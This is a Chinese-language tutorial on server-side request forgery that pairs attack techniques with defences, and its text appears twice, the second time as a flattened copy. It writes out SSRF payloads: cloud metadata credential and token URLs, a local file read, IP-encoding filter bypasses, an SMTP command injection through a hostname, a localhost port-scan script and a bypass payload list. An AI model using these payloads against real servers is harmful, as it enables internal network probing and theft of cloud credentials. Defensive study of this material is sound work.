SSRF攻击文档翻译
字数 1648 2025-08-29 08:32:24

服务器端请求伪造(SSRF)攻击全面指南

1. SSRF基础概念

1.1 什么是SSRF

服务器端请求伪造(Server-Side Request Forgery, SSRF)是一种安全漏洞,攻击者能够诱使服务器向非预期的目标发起请求。与客户端请求伪造(CSRF)不同,SSRF利用的是服务器端的请求能力。

关键特征

  • 服务器代表攻击者发起请求
  • 可以访问通常无法直接访问的内部资源
  • 绕过防火墙和安全组限制
  • 常用于探测和攻击内网服务

1.2 攻击原理

Web服务器通常可以访问比外部用户更多的资源,因为:

  • 本地网络信任级别高于外部网络
  • 内部服务可能没有设置严格的身份验证
  • 防火墙通常允许内部服务器之间的通信

1.3 典型攻击场景

  1. WebHook调试接口:允许用户测试WebHook处理程序,输入任意URL获取响应
  2. REST API端点:服务器从用户提供的URL获取数据
  3. 文件导入功能:从URL导入文件或数据
  4. 图片/资源加载:从用户提供的URL加载资源

2. SSRF攻击技术详解

2.1 基本探测技术

内网扫描

http://127.0.0.1:8080
http://10.0.0.3:3306

AWS元数据服务

http://169.254.169.254/latest/meta-data/

文件系统访问

file:///etc/passwd

2.2 IPv4地址绕过技术

当应用尝试通过正则表达式限制特定IP地址时,有多种表示方法可以绕过:

2.2.1 整数表示法

将IPv4地址转换为32位整数:

10.0.0.3 → 00001010.00000000.00000000.00000011 → 167772163

请求:

http://167772163

2.2.2 十六进制表示法

http://0x0A000003
http://0x0A.0x00.0x00.0x03

2.2.3 八进制表示法

http://01200000003
http://012.00.00.03

2.2.4 溢出技术

某些NodeJS应用可能处理溢出:

http://265.0.0.3  # 265-256=9 → 实际解析为9.0.0.3

2.3 URL解析差异利用

不同URL解析库对特殊字符处理不一致:

示例

http://google.com# @secret.corp
  • urlparse库解析hostname为google.com
  • urllib库解析hostname为secret.corp

其他特殊字符

  • 空格
  • 制表符
  • 换行符
  • 非ASCII字符

2.4 协议注入技术

利用换行符注入其他协议命令:

SMTP协议注入

https://mail.corp\r\nHELO web.corp\r\nMAIL FROM...:25/

原理

  • 在SSL握手期间,主机名被完整使用
  • SMTP将换行符解释为命令结束符
  • 可在SSL流量中插入有效SMTP命令

适用协议

  • SMTP
  • SIP
  • 其他基于文本的协议

3. 防御措施

3.1 输入验证最佳实践

  1. 使用标准库解析URL

    • 不要自行实现URL解析逻辑
    • 使用语言提供的标准URL解析库
  2. 严格白名单

    ALLOWED_DOMAINS = ['example.com', 'api.example.com']
    if parsed_url.hostname not in ALLOWED_DOMAINS:
        raise Exception("Invalid domain")
    
  3. 协议限制

    • 只允许HTTP/HTTPS
    • 禁止file://, ftp://, gopher://等危险协议

3.2 网络层防护

  1. 出口过滤

    • 限制服务器只能访问必要的公网端点
    • 禁止访问内网IP段(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
  2. 网络隔离

    • 将Web服务器放在DMZ区域
    • 限制Web服务器访问元数据服务(如169.254.169.254)

3.3 应用层防护

  1. DNS重绑定防护

    • 解析URL的hostname后立即使用,不要缓存
    • 验证DNS解析结果是否在允许范围内
  2. 响应处理

    • 不要将原始响应返回给客户端
    • 对响应内容进行严格过滤

4. 高级攻击技术

4.1 端口扫描

利用SSRF进行内网端口扫描:

import requests

for port in range(1, 1025):
    try:
        response = requests.get(f'http://127.0.0.1:{port}', timeout=1)
        print(f"Port {port} is open")
    except:
        continue

4.2 云服务元数据利用

AWS元数据服务

http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

Google Cloud

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token

4.3 内部API滥用

通过SSRF访问内部管理接口:

http://localhost:8080/actuator/env
http://localhost:8080/phpmyadmin/

5. 测试与验证

5.1 测试工具

  1. Burp Suite Collaborator - 检测出站请求
  2. SSRF Sheriff - Chrome扩展检测SSRF
  3. Gopherus - 生成SSRF攻击payload

5.2 测试Payloads

http://127.0.0.1:80
http://localhost:22
http://[::]:80/
http://0177.0.0.1/
http://2130706433/
http://0x7f000001/
http://127.1/
http://127.0.1/

6. 总结

SSRF是一种危害严重的安全漏洞,能够穿透网络边界访问内部系统。防御SSRF需要多层次的安全措施:

  1. 输入验证:严格验证所有用户提供的URL
  2. 网络控制:实施严格的出口过滤
  3. 最小权限:限制服务器网络访问权限
  4. 持续监控:监控异常请求模式

随着云原生架构和微服务的普及,SSRF的攻击面正在扩大,开发者和安全团队需要更加重视这类漏洞的防护。

服务器端请求伪造(SSRF)攻击全面指南 1. SSRF基础概念 1.1 什么是SSRF 服务器端请求伪造(Server-Side Request Forgery, SSRF)是一种安全漏洞,攻击者能够诱使服务器向非预期的目标发起请求。与客户端请求伪造(CSRF)不同,SSRF利用的是服务器端的请求能力。 关键特征 : 服务器代表攻击者发起请求 可以访问通常无法直接访问的内部资源 绕过防火墙和安全组限制 常用于探测和攻击内网服务 1.2 攻击原理 Web服务器通常可以访问比外部用户更多的资源,因为: 本地网络信任级别高于外部网络 内部服务可能没有设置严格的身份验证 防火墙通常允许内部服务器之间的通信 1.3 典型攻击场景 WebHook调试接口 :允许用户测试WebHook处理程序,输入任意URL获取响应 REST API端点 :服务器从用户提供的URL获取数据 文件导入功能 :从URL导入文件或数据 图片/资源加载 :从用户提供的URL加载资源 2. SSRF攻击技术详解 2.1 基本探测技术 内网扫描 : AWS元数据服务 : 文件系统访问 : 2.2 IPv4地址绕过技术 当应用尝试通过正则表达式限制特定IP地址时,有多种表示方法可以绕过: 2.2.1 整数表示法 将IPv4地址转换为32位整数: 请求: 2.2.2 十六进制表示法 2.2.3 八进制表示法 2.2.4 溢出技术 某些NodeJS应用可能处理溢出: 2.3 URL解析差异利用 不同URL解析库对特殊字符处理不一致: 示例 : urlparse 库解析hostname为 google.com urllib 库解析hostname为 secret.corp 其他特殊字符 : 空格 制表符 换行符 非ASCII字符 2.4 协议注入技术 利用换行符注入其他协议命令: SMTP协议注入 : 原理 : 在SSL握手期间,主机名被完整使用 SMTP将换行符解释为命令结束符 可在SSL流量中插入有效SMTP命令 适用协议 : SMTP SIP 其他基于文本的协议 3. 防御措施 3.1 输入验证最佳实践 使用标准库解析URL : 不要自行实现URL解析逻辑 使用语言提供的标准URL解析库 严格白名单 : 协议限制 : 只允许HTTP/HTTPS 禁止file://, ftp://, gopher://等危险协议 3.2 网络层防护 出口过滤 : 限制服务器只能访问必要的公网端点 禁止访问内网IP段(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) 网络隔离 : 将Web服务器放在DMZ区域 限制Web服务器访问元数据服务(如169.254.169.254) 3.3 应用层防护 DNS重绑定防护 : 解析URL的hostname后立即使用,不要缓存 验证DNS解析结果是否在允许范围内 响应处理 : 不要将原始响应返回给客户端 对响应内容进行严格过滤 4. 高级攻击技术 4.1 端口扫描 利用SSRF进行内网端口扫描: 4.2 云服务元数据利用 AWS元数据服务 : Google Cloud : 4.3 内部API滥用 通过SSRF访问内部管理接口: 5. 测试与验证 5.1 测试工具 Burp Suite Collaborator - 检测出站请求 SSRF Sheriff - Chrome扩展检测SSRF Gopherus - 生成SSRF攻击payload 5.2 测试Payloads 6. 总结 SSRF是一种危害严重的安全漏洞,能够穿透网络边界访问内部系统。防御SSRF需要多层次的安全措施: 输入验证 :严格验证所有用户提供的URL 网络控制 :实施严格的出口过滤 最小权限 :限制服务器网络访问权限 持续监控 :监控异常请求模式 随着云原生架构和微服务的普及,SSRF的攻击面正在扩大,开发者和安全团队需要更加重视这类漏洞的防护。